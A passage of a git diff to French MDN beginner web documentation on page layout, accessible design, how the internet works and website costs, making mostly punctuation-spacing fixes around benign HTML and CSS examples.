web. Vous commencez avec une page vierge, puis vous devez choisir entre tellement de possibilités… Si vous avez peu d'expérience, la page blanche initiale pourrait vous paraître intimidante. Comme nous avons plus de 25 ans d'expérience dans le domaine, nous allons vous présenter quelques règles générales qui pourront vous aider dans la conception de votre site web. -Même aujourd'hui, malgré toute l'attention portée aux appareils mobiles, la majorité des pages web contient les sections suivantes : +Même aujourd'hui, malgré toute l'attention portée aux appareils mobiles, la majorité des pages web contient les sections suivantes : - En-tête - : Visible au haut de chaque page du site, cette section comprend des informations pertinentes pour l'ensemble des pages (par exemple, le nom du site ou un logo) et un menu de navigation convivial. @@ -45,26 +45,26 @@ Même aujourd'hui, malgré toute l'attention portée aux appareils mobiles, la m - : Cette section occupe la plus grande partie de l'espace et contient du contenu unique, relatif à la page consultée. - Contenu secondaire - - : Il peut s'agir : + - : Il peut s'agir : - 1. d'informations complémentaires au contenu principal ; - 2. d'informations partagées entre un sous-ensemble de pages ; + 1. d'informations complémentaires au contenu principal ; + 2. d'informations partagées entre un sous-ensemble de pages ; 3. d'un moyen alternatif de navigation. En fait, ce peut être un peu tout ce qui est superflu par rapport au contenu principal. - Bas de page - : Visible au bas de chaque page du site, cette section contient, tout comme l'en-tête, des informations pertinentes pour l'ensemble des pages. On peut, entre autres, y trouver les mentions légales et les informations nécessaires pour contacter les responsables du site. -Ces quatre sections sont généralement présentes, mais elles peuvent être disposées de plusieurs façons distinctes. Voici quelques exemples de dispositions possibles (où **1** représente l'entête ; **2,** le bas de page ; **A**, le contenu principal ; et **B1, B2**, le contenu secondaire) : +Ces quatre sections sont généralement présentes, mais elles peuvent être disposées de plusieurs façons distinctes. Voici quelques exemples de dispositions possibles (où **1** représente l'entête ; **2,** le bas de page ; **A**, le contenu principal ; et **B1, B2**, le contenu secondaire) : -**Dispostion à une colonne :** particulièrement utile pour l'affichage sur téléphone mobile, car cette disposition évite d'encombrer les petits écrans. +**Dispostion à une colonne :** particulièrement utile pour l'affichage sur téléphone mobile, car cette disposition évite d'encombrer les petits écrans.  -**Disposition à deux colonnes :** souvent utilisée pour l'affichage sur tablettes, car elles disposent d'un écran de taille moyenne. +**Disposition à deux colonnes :** souvent utilisée pour l'affichage sur tablettes, car elles disposent d'un écran de taille moyenne.   -**Disposition à trois colonnes :** adaptée uniquement pour les ordinateurs de bureau ayant un grand écran (et encore, cela est relatif, car plusieurs utilisateurs d'ordinateurs de bureau préférent visionner les sites dans des fenêtres de taille réduite plutôt qu'en mode plein écran). +**Disposition à trois colonnes :** adaptée uniquement pour les ordinateurs de bureau ayant un grand écran (et encore, cela est relatif, car plusieurs utilisateurs d'ordinateurs de bureau préférent visionner les sites dans des fenêtres de taille réduite plutôt qu'en mode plein écran).    @@ -78,7 +78,7 @@ Ce sont là des règles générales dont vous pouvez vous inspirer. Bien entendu ## Pédagogie active -_Aucun exercice pratique n'est disponible actuellement. [S.V.P., pensez à contribuer !](/fr/docs/MDN/Débuter_sur_MDN)_ +_Aucun exercice pratique n'est disponible actuellement. [S.V.P., pensez à contribuer !](/fr/docs/MDN/Débuter_sur_MDN)_ ## Aller plus loin @@ -88,27 +88,30 @@ Regardons maintenant quelques exemples concrets tirés de sites connus. **[Invision](http://www.invisionapp.com/) :** un exemple de disposition classique à une colonne où toute l'information est présentée de façon linéaire sur une page. -  + + -Un style simple et direct. N'oubliez pas, toutefois, que certains utilisateurs navigeront à partir d'un ordinateur de bureau et qu'il faut donc s'assurer que le contenu soit accessible sur cette plateforme également. +Un style simple et direct. N'oubliez pas, toutefois, que certains utilisateurs navigeront à partir d'un ordinateur de bureau et qu'il faut donc s'assurer que le contenu soit accessible sur cette plateforme également. ### Disposition à deux colonnes -**[Abduzeedo](http://abduzeedo.com/typography-mania-261)**, un blog à disposition simple. En règle générale, les blogs comprennent deux colonnes : une large pour le contenu principal et une plus étroite pour les à-côtés (comme des widgets, les menus de navigation et les publicités). +**[Abduzeedo](http://abduzeedo.com/typography-mania-261)**, un blog à disposition simple. En règle générale, les blogs comprennent deux colonnes : une large pour le contenu principal et une plus étroite pour les à-côtés (comme des widgets, les menus de navigation et les publicités). -  + + -Dans cet exemple, regardez bien l'image (B1) située directement sous l'en-tête. L'image est en rapport avec le contenu principal, mais n'est pas essentielle à sa compréhension. Nous pourrions donc considérer que l'image fait partie du contenu principal ou bien qu'il s'agit d'un à-côté (contenu secondaire). La distinction importe peu. Ce qui est vraiment important, c'est qu'un élément placé directement sous l'en-tête devrait soit faire partie du contenu principal, soit y être _directement relié_. +Dans cet exemple, regardez bien l'image (B1) située directement sous l'en-tête. L'image est en rapport avec le contenu principal, mais n'est pas essentielle à sa compréhension. Nous pourrions donc considérer que l'image fait partie du contenu principal ou bien qu'il s'agit d'un à-côté (contenu secondaire). La distinction importe peu. Ce qui est vraiment important, c'est qu'un élément placé directement sous l'en-tête devrait soit faire partie du contenu principal, soit y être _directement relié_. -### Attention, c'est un piège ! +### Attention, c'est un piège ! **[MICA](http://www.mica.edu/About_MICA.html)**. Cet exemple est un peu plus embêtant. On dirait une disposition à trois colonnes… -  + + -…mais non ! B1 et B2 flottent autour du contenu principal. Rappelez-vousce mot-clé : "flotte" (_float_ en anglais) - nous y reviendrons lorsque vous commencerez à apprendre le {{Glossary("CSS")}}. +…mais non ! B1 et B2 flottent autour du contenu principal. Rappelez-vousce mot-clé : "flotte" (_float_ en anglais) - nous y reviendrons lorsque vous commencerez à apprendre le {{Glossary("CSS")}}. -Pourquoi êtes-vous porté à penser qu'il s'agit d'une disposition à trois colonnes ? Eh bien, pour trois raisons : parce que l'image en haut à droite est en forme de L, parce que B1 semble être une colonne soutenant un contenu principal décalé vers la gauche et parce le "M" et le "I" du logo de MICA forment une ligne de force verticale. +Pourquoi êtes-vous porté à penser qu'il s'agit d'une disposition à trois colonnes ? Eh bien, pour trois raisons : parce que l'image en haut à droite est en forme de L, parce que B1 semble être une colonne soutenant un contenu principal décalé vers la gauche et parce le "M" et le "I" du logo de MICA forment une ligne de force verticale. Il s'agit ici d'un bon exemple d'une mise en page classique qui a été rehaussée avec un peu de créativité. Les dispositions simples sont plus faciles à mettre en place, mais ne devraient pas restreindre votre créativité. @@ -116,15 +119,16 @@ Il s'agit ici d'un bon exemple d'une mise en page classique qui a été rehauss **L'[Opéra de Paris](https://www.operadeparis.fr/en/saison-2014-2015/opera/la-boheme-puccini).** -  + + -Il s'agit à la base d'une disposition à deux colonnes, mais vous noterez quelques ajustements ici et là qui viennent rompre la linéarité de la disposition. On remarque surtout que l'en-tête est superposée à l'image du contenu principal. En raison de la courbe du menu de navigation qui rappelle celle au bas de l'image principale, l'en-tête et l'image semblent former un seul élément uni alors qu'il s'agit en fait d'éléments techniquement distincts. L'exemple de l'Opéra de Paris semble plus complexe à réaliser que celui de MICA, mais est en réalité plus facile à mettre en place (la facilité étant bien entendu, un concept plutôt relatif). +Il s'agit à la base d'une disposition à deux colonnes, mais vous noterez quelques ajustements ici et là qui viennent rompre la linéarité de la disposition. On remarque surtout que l'en-tête est superposée à l'image du contenu principal. En raison de la courbe du menu de navigation qui rappelle celle au bas de l'image principale, l'en-tête et l'image semblent former un seul élément uni alors qu'il s'agit en fait d'éléments techniquement distincts. L'exemple de l'Opéra de Paris semble plus complexe à réaliser que celui de MICA, mais est en réalité plus facile à mettre en place (la facilité étant bien entendu, un concept plutôt relatif). -Comme vous pouvez le voir, il est possible de créer des sites sensationnels avec des mises en page somme toute assez simples. Jetez un coup d'œil à vos sites préférés. Pouvez-vous repérer l'en-tête, le bas de page, le contenu principal et le contenu secondaire ? Cet exercice pourra vous fournir de l'inspiration pour vos propres réalisations et vous aider à distinguer les dispositions qui fonctionnent bien de celles qui posent problème. +Comme vous pouvez le voir, il est possible de créer des sites sensationnels avec des mises en page somme toute assez simples. Jetez un coup d'œil à vos sites préférés. Pouvez-vous repérer l'en-tête, le bas de page, le contenu principal et le contenu secondaire ? Cet exercice pourra vous fournir de l'inspiration pour vos propres réalisations et vous aider à distinguer les dispositions qui fonctionnent bien de celles qui posent problème. ## Prochaines étapes -Deux options s'offrent maintenant à vous : +Deux options s'offrent maintenant à vous : - Approfondir vos connaissances [sur les bases de la conception web](/fr/Apprendre/Commencer_avec_le_web). - Mettre le tout en pratique en [créant votre toute première page web](/fr/Learn/HTML/Write_a_simple_page_in_HTML). diff --git a/files/fr/learn/common_questions/design_for_all_types_of_users/index.md b/files/fr/learn/common_questions/design_for_all_types_of_users/index.md index efd847a8b2..e6a8f78a3a 100644 --- a/files/fr/learn/common_questions/design_for_all_types_of_users/index.md +++ b/files/fr/learn/common_questions/design_for_all_types_of_users/index.md @@ -17,11 +17,11 @@ Cet article aborde les concepts de bases pour vous aider à construire des sites <table class="standard-table"> <tbody> <tr> - <th scope="row">Prérequis :</th> + <th scope="row">Prérequis :</th> <td> Avoir lu <a href="/fr/Learn/What_is_accessibility" - >Qu'est-ce que l'accessibilité ?</a + >Qu'est-ce que l'accessibilité ?</a > (l'accessibilité n'est pas approfondie en détails ici) et s'être familiarisé-e avec @@ -30,7 +30,7 @@ Cet article aborde les concepts de bases pour vous aider à construire des sites </td> </tr> <tr> - <th scope="row">Objectifs :</th> + <th scope="row">Objectifs :</th> <td> Être en mesure de concevoir un site pour tous, quelles que soient les contraintes techniques ou celles de handicap. Cet article liste les @@ -45,7 +45,7 @@ Lors de la construction d'un site, il faut entre autres garder à l'esprit qu'un ## Pédagogie active -_Il n'y a, pour le moment, pas de matériau pour la pédagogie active. [Cependant, vous pouvez contribuer](/fr/docs/MDN/D%C3%A9buter_sur_MDN)._ +_Il n'y a, pour le moment, pas de matériau pour la pédagogie active. [Cependant, vous pouvez contribuer](/fr/docs/MDN/D%C3%A9buter_sur_MDN)._ ## Aller plus loin @@ -57,9 +57,9 @@ Le {{Glossary("W3C")}} définit ce qui peut être une bonne association de coule Pour contrôler le contraste, vous pouvez télécharger et installer [l'analyseur de contraste](http://www.paciellogroup.com/resources/contrastanalyser/) du Groupe Paciello. -> **Note :** Sinon, vous pouvez également trouver différents vérificateurs de contrastes disponibles en ligne, par exemple celui de WebAIM : [Color Contrast Checker](http://webaim.org/resources/contrastchecker/). Il est préférable d'utiliser un vérificateur qui fonctionne en local sur votre ordinateur car généralement, ceux-ci ont également une pipette qui permet de prélever la valeur d'une couleur sur tout l'écran. +> **Note :** Sinon, vous pouvez également trouver différents vérificateurs de contrastes disponibles en ligne, par exemple celui de WebAIM : [Color Contrast Checker](http://webaim.org/resources/contrastchecker/). Il est préférable d'utiliser un vérificateur qui fonctionne en local sur votre ordinateur car généralement, ceux-ci ont également une pipette qui permet de prélever la valeur d'une couleur sur tout l'écran. -Par exemple, testons les couleurs de cette page et voyons ce que cela donne avec l'outil d'analyse de contraste : +Par exemple, testons les couleurs de cette page et voyons ce que cela donne avec l'outil d'analyse de contraste :  @@ -71,11 +71,11 @@ La taille de la police utilisée dans un site web peut être définie en unités #### Les unités absolues -Les unités absolues ne sont pas calculées proportionnellement entre elles mais font plutôt référence à une valeur « dure », la plupart du temps, elles sont exprimées en pixels (`px`). Par exemple, si, dans votre fichier CSS, vous déclarez la règle suivante : +Les unités absolues ne sont pas calculées proportionnellement entre elles mais font plutôt référence à une valeur « dure », la plupart du temps, elles sont exprimées en pixels (`px`). Par exemple, si, dans votre fichier CSS, vous déclarez la règle suivante : body { font-size:16px; } -… vous indiquez au navigateur que, quoi qu'il arrive, la taille de la police doit être 16 pixels. Les navigateurs récents interprèteront cette règle de la façon suivante : « utiliser une police sur 16 pixels quand l'utilisateur a un niveau de zoom de 100% ». +… vous indiquez au navigateur que, quoi qu'il arrive, la taille de la police doit être 16 pixels. Les navigateurs récents interprèteront cette règle de la façon suivante : « utiliser une police sur 16 pixels quand l'utilisateur a un niveau de zoom de 100% ». Cependant, pendant plusieurs années, Internet Explorer (jusqu'à Internet Explorer 8) affichait dans tous les cas 16 pixels. Le zoom n'avait aucun effet. @@ -85,16 +85,16 @@ Cependant, pendant plusieurs années, Internet Explorer (jusqu'à Internet Explo Les unités relatives sont exprimées en `em`, `%` et `rem`: -- Les tailles exprimées en pourcentages : `%` +- Les tailles exprimées en pourcentages : `%` - : Cette unité permet d'indiquer au navigateur que la taille de police d'un élément doit représenter N% de la taille de police de l'élément précédent. Si aucun élément parent n'est trouvé, c'est la taille de police par défaut du navigateur qui est utilisée comme base de calcul (généralement, cette dernière est équivalente à 16 pixels). -- Les tailles exprimées en em : `em` +- Les tailles exprimées en em : `em` - : Cette unité est calculée de la même façon que les pourcentages sauf qu'ici, il s'agit d'un ratio par rapport à 1 et non d'un ratio par rapport à 100. L'unité est appelée « em » car elle correspond à la largeur d'un « M » majuscule (un « M » tient approximativement dans un carré dont on dira que la largeur vaut 1 em). -- Les tailles exprimées en rem : `rem` +- Les tailles exprimées en rem : `rem` - : Cette unité est proportionnelle à la taille de police de l'élément racine et est exprimée en ratio par rapport à 1, comme avec `em`. Imaginons que la taille de police de base soit 16px et qu'on ait un titre principal (`h1`) dont la taille soit équivalente à 32px et qu'au sein de ce `<h1>` on ait un élément `span` avec une classe `subheading`, celui-ci devant également être affiché avec la taille par défaut (généralement 16px). -Voici le code HTML qu'on utilisera : +Voici le code HTML qu'on utilisera : ```html <!DOCTYPE html> @@ -113,7 +113,7 @@ Voici le code HTML qu'on utilisera : </html> ``` -Un fichier CSS utilisant des unités exprimées en pourcentages pourrait être : +Un fichier CSS utilisant des unités exprimées en pourcentages pourrait être : ```css body { font-size:100%; } @@ -129,7 +129,7 @@ span.subheading { font-size:50%; } à la taille de base originelle */ ``` -Voici le fichier CSS équivalent, avec des valeurs exprimées en ems : +Voici le fichier CSS équivalent, avec des valeurs exprimées en ems : ```css body { font-size:1em; } @@ -146,7 +146,7 @@ ce qui revient à taille originelle */ Comme vous pouvez l'observer, cela devient rapidement complexe lorsqu'il faut se souvenir de la taille du parent du parent et du parent du parent du parent, etc. -C'est là qu'interviennent les `rem`. Cette unité est relative à la taille de l'élément racine de la page et non au parent de l'élément. Le fichier CSS correspond peut ainsi être réécrit de cette façon : +C'est là qu'interviennent les `rem`. Cette unité est relative à la taille de l'élément racine de la page et non au parent de l'élément. Le fichier CSS correspond peut ainsi être réécrit de cette façon : ```css body { font-size:1em; } @@ -160,28 +160,28 @@ span.subheading { font-size:1rem; } /* la taille originale */ ``` -C'est plus facile de cette façon, n'est-ce pas ? Cela fonctionne, à partir d'[Internet Explorer 9 et dans n'importe quel autre navigateur récent](http://caniuse.com/#search=rem), n'hésitez pas à l'utiliser. +C'est plus facile de cette façon, n'est-ce pas ? Cela fonctionne, à partir d'[Internet Explorer 9 et dans n'importe quel autre navigateur récent](http://caniuse.com/#search=rem), n'hésitez pas à l'utiliser. > **Note :** Vous remarquerez qu'Opera Mini ne supporte pas les tailles de police exprimées en rem, il utilisera sa propre taille de police. -#### Pourquoi aurais-je besoin d'utiliser des unités proportionnelles ? +#### Pourquoi aurais-je besoin d'utiliser des unités proportionnelles ? Pour plusieurs raisons et notamment parce que vous ne connaissez pas le moment où le navigateur refusera de suivre le zoom pour une police exprimée en pixels. Si vous analysez les statistiques de visites, vous verrez que certaines personnes utilisent toujours d'anciens navigateurs, les unités relatives sont plus simples à gérer pour ceux-ci. -Il est généralement conseillé de : +Il est généralement conseillé de : -- Décrire les tailles de police en unité `rem`, cela ne posera aucun problème à la plupart des navigateurs ; +- Décrire les tailles de police en unité `rem`, cela ne posera aucun problème à la plupart des navigateurs ; - Laisser les anciens navigateurs afficher les polices avec leurs moteurs internes. Les moteurs des navigateurs ignorent les propriétés ou valeurs CSS qu'ils ne reconnaissent pas et/ou qu'ils ne peuvent pas gérer. Votre site web est donc toujours utilisable, même s'il ne respecte pas nécessairement le design que vous souhaitiez. De toute façon et inexorablement, les anciens navigateurs seront de moins en moins utilisés. > **Note :** Votre utilisation de ces unités pourra varier. S'il est nécessaire pour vous de gérer les anciens navigateurs, vous aurez besoin d'utiliser des `em`s, quitte à faire un peu de mathématique en chemin. ### Largeur de ligne -Il y a depuis toujours sur le Web un débat sur la longueur que doit occuper une ligne. Mais cela n'est pas apparu avec le Web. Déjà avec les journaux, les imprimeurs avaient réalisé que si les lignes étaient trop longues, les lecteurs avaient du mal à suivre chaque ligne du début à la fin. Une solution fut trouvée à ce problème : organiser le texte en colonnes. +Il y a depuis toujours sur le Web un débat sur la longueur que doit occuper une ligne. Mais cela n'est pas apparu avec le Web. Déjà avec les journaux, les imprimeurs avaient réalisé que si les lignes étaient trop longues, les lecteurs avaient du mal à suivre chaque ligne du début à la fin. Une solution fut trouvée à ce problème : organiser le texte en colonnes. Bien entendu, ce problème n'a pas disparu avec le Web. Les yeux d'un lecteur sont comme une navette qui va d'une ligne à une autre. Pour simplifier ce trajet, il est préconisé que les lignes s'étendent entre 60 et 70 caractères. -Pour obtenir cet effet, il est possible de définir une taille spécifique pour le conteneur du texte. Voila ce que ça donne en HTML : +Pour obtenir cet effet, il est possible de définir une taille spécifique pour le conteneur du texte. Voila ce que ça donne en HTML : ```html <!DOCTYPE html> @@ -204,7 +204,7 @@ Pour obtenir cet effet, il est possible de définir une taille spécifique pour </html> ``` -Ici, nous avons un `div` avec une classe `container`. Il est possible de mettre en forme le `div` en réglant sa largeur avec la propriété `width` ou en réglant sa largeur maximale afin qu'il ne soit jamais trop grand, grâce à sa propriété `max-width`. Si vous souhaitez avoir un site adaptatif ou élastique et que vous ne connaissez pas la largeur par défaut du navigateur, vous pouvez utiliser la propriété `max-width` pour avoir au maximum 70 caractères par ligne : +Ici, nous avons un `div` avec une classe `container`. Il est possible de mettre en forme le `div` en réglant sa largeur avec la propriété `width` ou en réglant sa largeur maximale afin qu'il ne soit jamais trop grand, grâce à sa propriété `max-width`. Si vous souhaitez avoir un site adaptatif ou élastique et que vous ne connaissez pas la largeur par défaut du navigateur, vous pouvez utiliser la propriété `max-width` pour avoir au maximum 70 caractères par ligne : ```css div.container { max-width:70em; } @@ -216,7 +216,7 @@ Il arrive fréquemment que les pages web ne contiennent pas seulement du texte. #### Les images -Les images d'une page web peuvent être décoratives ou informatives mais il n'est pas garanti que vos utilisateurs puissent les voir. Par exemple : +Les images d'une page web peuvent être décoratives ou informatives mais il n'est pas garanti que vos utilisateurs puissent les voir. Par exemple : - Vos lecteurs souffrant d'une déficience visuelle utiliseront un logiciel lecteur d'écran qui ne pourra restituer que du texte. - Vos lecteurs peuvent naviguer depuis un intranet très strict qui bloque les images provenant d'un {{Glossary("CDN")}}. @@ -225,7 +225,7 @@ Les images d'une page web peuvent être décoratives ou informatives mais il n'e <!----> - Les images décoratives - - : Ces images servent uniquement à décorer et ne contiennent pas d'informations utiles à la compréhension de la page. Elles pourraient généralement être remplacées par une image d'arrière-plan. Assurez-vous de fournir un texte alternatif vide grâce à l'attribut `alt` : `<img src="deco.gif" alt="">` afin qu'elles n'encombrent pas le texte. + - : Ces images servent uniquement à décorer et ne contiennent pas d'informations utiles à la compréhension de la page. Elles pourraient généralement être remplacées par une image d'arrière-plan. Assurez-vous de fournir un texte alternatif vide grâce à l'attribut `alt` : `<img src="deco.gif" alt="">` afin qu'elles n'encombrent pas le texte. - Les images informatives - : Celles-ci apportent des informations nécessaires à la compréhension de la page, d'où leur nom. Elle peuvent, par exemple, montrer un graphique, décrire le geste d'une personne, etc. Il faut au minimum fournir un attribut `alt` par rapport au contenu de l'image. @@ -244,10 +244,10 @@ Il est également nécessaire de fournir des alternatives à du contenu multimé ### Compression des images -Certains utilisateurs pourraient avoir choisi d'afficher les images mais pourraient disposer d'une connexion instable ou limité (c'est le cas notamment dans les pays en développement et sur les appareils mobiles). Si vous souhaitez que votre site web soit le plus fonctionnel possible, il est nécessaire de compresser les images. Voici quelques outils pour vous aider à cette tâche (logiciels ou services en ligne) : +Certains utilisateurs pourraient avoir choisi d'afficher les images mais pourraient disposer d'une connexion instable ou limité (c'est le cas notamment dans les pays en développement et sur les appareils mobiles). Si vous souhaitez que votre site web soit le plus fonctionnel possible, il est nécessaire de compresser les images. Voici quelques outils pour vous aider à cette tâche (logiciels ou services en ligne) : -- **Logiciels à installer :** [ImageOptim](https://imageoptim.com/) (Mac), [OptiPNG](http://optipng.sourceforge.net/) (toutes les plates-formes, [PNGcrush](http://pmt.sourceforge.net/pngcrush/) (DOS, Unix/Linux) -- **Outils en lignes :** [smushit!](http://smush.it/) de Yahoo!, [Online Image Optimizer](http://tools.dynamicdrive.com/imageoptimizer/) de Dynamic Drive (qui peut convertir d'un format à un autre si cela est plus efficace en termes de bande passante) +- **Logiciels à installer :** [ImageOptim](https://imageoptim.com/) (Mac), [OptiPNG](http://optipng.sourceforge.net/) (toutes les plates-formes, [PNGcrush](http://pmt.sourceforge.net/pngcrush/) (DOS, Unix/Linux) +- **Outils en lignes :** [smushit!](http://smush.it/) de Yahoo!, [Online Image Optimizer](http://tools.dynamicdrive.com/imageoptimizer/) de Dynamic Drive (qui peut convertir d'un format à un autre si cela est plus efficace en termes de bande passante) ## Prochaines étapes diff --git a/files/fr/learn/common_questions/how_does_the_internet_work/index.md b/files/fr/learn/common_questions/how_does_the_internet_work/index.md index 45dac37c77..91700def8c 100644 --- a/files/fr/learn/common_questions/how_does_the_internet_work/index.md +++ b/files/fr/learn/common_questions/how_does_the_internet_work/index.md @@ -13,7 +13,7 @@ Dans cet article, nous expliquons ce qu'est l'Internet et comment il fonctionne. <table class="standard-table"> <tbody> <tr> - <th scope="row">Prérequis :</th> + <th scope="row">Prérequis :</th> <td> Aucun, mais nous vous encourageons à lire l'article <a href="/fr/Apprendre/Commencez_votre_projet_web" @@ -23,10 +23,10 @@ Dans cet article, nous expliquons ce qu'est l'Internet et comment il fonctionne. </td> </tr> <tr> - <th scope="row">Objectif :</th> + <th scope="row">Objectif :</th> <td> Vous apprendrez les rudiments de l'infrastructure technique du Web et - vous serez en mesure de distinguer « Internet » et « Web ». + vous serez en mesure de distinguer « Internet » et « Web ». </td> </tr> </tbody> @@ -34,13 +34,13 @@ Dans cet article, nous expliquons ce qu'est l'Internet et comment il fonctionne. ## Résumé -L'**Internet** est l'épine dorsale du Web : il s'agit de l'infrastructure technique qui sous-tend le Web. De façon simple, l'Internet est un vaste réseau d'ordinateurs qui communiquent les uns avec les autres. +L'**Internet** est l'épine dorsale du Web : il s'agit de l'infrastructure technique qui sous-tend le Web. De façon simple, l'Internet est un vaste réseau d'ordinateurs qui communiquent les uns avec les autres. [L'histoire des débuts de l'Internet est quelque peu nébuleuse](https://fr.wikipedia.org/wiki/Internet#Historique). Tout aurait commencé dans les années 1960 par un projet de recherche subventionné par le département de la Défense des États-Unis. L'Internet serait ensuite devenu, dans les années 1980, une infrastructure publique grâce au soutien de nombreuses universités publiques et entreprises privées. Les diverses technologies qui sous-tendent l'Internet ont évolué au fil du temps, mais son fonctionnement de base a, quant à lui, peu changé. L'Internet demeure un moyen de relier tous les ordinateurs entre eux et de s'assurer que ce lien perdure, peu importe les problèmes qui pourraient toucher le réseau. ## Pédagogie active -- [How the internet Works in 5 minutes](https://www.youtube.com/watch?v=7_LPdttKXPc) : Une vidéo d'une durée de 5 minutes réalisée par Aaron Titus afin d'expliquer les rudiments du fonctionnement de l'Internet. (_en anglais seulement_) +- [How the internet Works in 5 minutes](https://www.youtube.com/watch?v=7_LPdttKXPc) : Une vidéo d'une durée de 5 minutes réalisée par Aaron Titus afin d'expliquer les rudiments du fonctionnement de l'Internet. (_en anglais seulement_) ## Allons plus loin @@ -56,7 +56,7 @@ Un réseau comme celui illustré ci-haut n'est pas limité à deux ordinateurs.  -Afin de résoudre ce problème, chaque ordinateur du réseau est relié à un petit ordinateur bien spécial que l'on appelle _routeur_. Ce _routeur_ n'a qu'une seule fonction : tout comme un signaleur de gare de train, il s'assure que les messages transmis par un ordinateur donné se rendent au bon ordinateur destinataire. Ainsi, pour envoyer un message à l'ordinateur B, l'ordinateur A transmet d'abord le message au routeur, qui s'assure alors de transférer le message à l'ordinateur B et non à l'ordinateur C. +Afin de résoudre ce problème, chaque ordinateur du réseau est relié à un petit ordinateur bien spécial que l'on appelle _routeur_. Ce _routeur_ n'a qu'une seule fonction : tout comme un signaleur de gare de train, il s'assure que les messages transmis par un ordinateur donné se rendent au bon ordinateur destinataire. Ainsi, pour envoyer un message à l'ordinateur B, l'ordinateur A transmet d'abord le message au routeur, qui s'assure alors de transférer le message à l'ordinateur B et non à l'ordinateur C. Vous voyez donc que lorsque nous ajoutons un routeur dans notre structure, notre réseau de dix ordinateurs ne requiert alors que de dix câbles, d'une prise par ordinateur et d'un routeur de 10 ports. @@ -82,7 +82,7 @@ Notre réseau est donc lié à l'infrastructure téléphonique. La prochaine ét ### Localiser un ordinateur -Lorsque nous souhaitons transmettre un message à un ordinateur, nous devons préciser de quel ordinateur il s'agit. Par conséquent, chaque ordinateur lié à un réseau possède une adresse unique appelée « adresse IP » (où « IP » signifie _Internet Protocol_) qui sert à localiser l'ordinateur. Cette adresse est composée d'une série de nombres séparés par des points, par exemple : `192.168.2.10` ou de lettres et de chiffres séparés par deux points. `2001:0db8:85a3:0000:0000:8a2e:0370:7334`. +Lorsque nous souhaitons transmettre un message à un ordinateur, nous devons préciser de quel ordinateur il s'agit. Par conséquent, chaque ordinateur lié à un réseau possède une adresse unique appelée « adresse IP » (où « IP » signifie _Internet Protocol_) qui sert à localiser l'ordinateur. Cette adresse est composée d'une série de nombres séparés par des points, par exemple : `192.168.2.10` ou de lettres et de chiffres séparés par deux points. `2001:0db8:85a3:0000:0000:8a2e:0370:7334`. C'est une méthode très efficace pour les ordinateurs, mais les humains ont un peu plus de difficulté à retenir de telles adresses numériques. Afin de se faciliter la tâche, un libellé alphabétique, appelé _nom de domaine,_ est souvent associé aux adresses IP. Par example, `google.com` est le nom de domaine associé à l'adresse IP `173.194.121.32`. L'utilisation d'un nom de domaine est ainsi le moyen le plus facile d'atteindre un ordinateur via l'Internet. diff --git a/files/fr/learn/common_questions/how_much_does_it_cost/index.md b/files/fr/learn/common_questions/how_much_does_it_cost/index.md index 225263f9da..2b9f0a5fa9 100644 --- a/files/fr/learn/common_questions/how_much_does_it_cost/index.md +++ b/files/fr/learn/common_questions/how_much_does_it_cost/index.md @@ -13,7 +13,7 @@ Se lancer sur le Web n'est pas aussi bon marché qu'il y paraît à première vu <table class="standard-table"> <tbody> <tr> - <th scope="row">Prérequis :</th> + <th scope="row">Prérequis :</th> <td> Vous devez au préalable connaître<a href="/fr/Apprendre/Quels_logiciels_sont_nécessaires_pour_construire_un_site_web" @@ -29,7 +29,7 @@ Se lancer sur le Web n'est pas aussi bon marché qu'il y paraît à première vu </td> </tr> <tr> - <th scope="row">Objectifs :</th> + <th scope="row">Objectifs :</th> <td> Revoir le processus de création complet d'un site web et analyser le coût éventeul de chaque étape. @@ -52,7 +52,7 @@ Vous disposez probablement d'un éditeur de texte grâce à votre système d'exp De nombreux éditeurs sont gratuits : [Bluefish](http://bluefish.openoffice.nl/), [TextWrangler](http://www.barebones.com/products/textwrangler/), [Eclipse](http://eclipse.org/) et [Netbeans](https://netbeans.org/). Certains comme [Sublime Text](http://www.sublimetext.com/) peuvent être utilisés librement mais vous serez invité à payer si vous les utilisez continuellement ou dans un cadre professionnel. D'autres comme [PhpStorm](https://www.jetbrains.com/phpstorm/) peuvent coûter entre quelques dizaines et plusieurs centaines d'euros en fonction de l'abonnement choisi. Enfin, certains comme [Microsoft Visual Studio](http://www.visualstudio.com/) peuvent coûter plusieurs centaines voire plusieurs milliers d'euros selon l'utilisation qui en est faite. -Pour commencer, n'hésitez pas à essayer plusieurs éditeurs (même les éditeurs payants disposent souvent d'une version d'essai) pour savoir lequel vous convient le mieux. Si vous prévoyez de n'écrire que du {{Glossary("HTML")}}, {{Glossary("CSS")}} et {{Glossary("Javascript")}} simples, vous pouvez utiliser un éditeur simple. +Pour commencer, n'hésitez pas à essayer plusieurs éditeurs (même les éditeurs payants disposent souvent d'une version d'essai) pour savoir lequel vous convient le mieux. Si vous prévoyez de n'écrire que du {{Glossary("HTML")}}, {{Glossary("CSS")}} et {{Glossary("Javascript")}} simples, vous pouvez utiliser un éditeur simple. Le prix d'un éditeur ne reflète pas toujours son utilité ou sa qualité. À vous de les essayer et de forger votre avis. Par exemple, Sublime Text n'est pas très cher mais peut être agrémenté d'extensions (_plugins_) gratuites qui augmentent sensiblement les fonctionnalités qu'il offre. @@ -105,7 +105,7 @@ Assurez-vous d'avoir suffisamment de bande passante : ##### Comprendre ce qu'est la « bande passante » -Le tarif d'un hébergeur variera en fonction de la bande passante consommée par votre site web. Celle-ci dépend du nombre de visiteurs (humains ou robots) sur une période donnée et de l'espace occupé par votre contenu (c'est pour cette raison que la plupart des gens stockent leurs vidéos sur Youtube, Dailymotion et Vimeo). Par exemple, votre fournisseur peut avoir une formule qui permet d'avoir jusqu'à plusieurs milliers de visiteurs par jours pour une bande passante raisonnable (cette définition de « raisonnable » peut varier d'un fournisseur à l'autre). Grosso modo, un hébergement personnalisé moyen et qui vous permet de servir suffisamment de visiteurs coûte entre 10 et 15 euros par mois. +Le tarif d'un hébergeur variera en fonction de la bande passante consommée par votre site web. Celle-ci dépend du nombre de visiteurs (humains ou robots) sur une période donnée et de l'espace occupé par votre contenu (c'est pour cette raison que la plupart des gens stockent leurs vidéos sur Youtube, Dailymotion et Vimeo). Par exemple, votre fournisseur peut avoir une formule qui permet d'avoir jusqu'à plusieurs milliers de visiteurs par jours pour une bande passante raisonnable (cette définition de « raisonnable » peut varier d'un fournisseur à l'autre). Grosso modo, un hébergement personnalisé moyen et qui vous permet de servir suffisamment de visiteurs coûte entre 10 et 15 euros par mois. > **Note :** Un débit « illimité » n'existe pas en réalité. Si vous consommez beaucoup de bande passante, attendez-vous à devoir payer en conséquence. diff --git a/files/fr/learn/common_questions/index.md 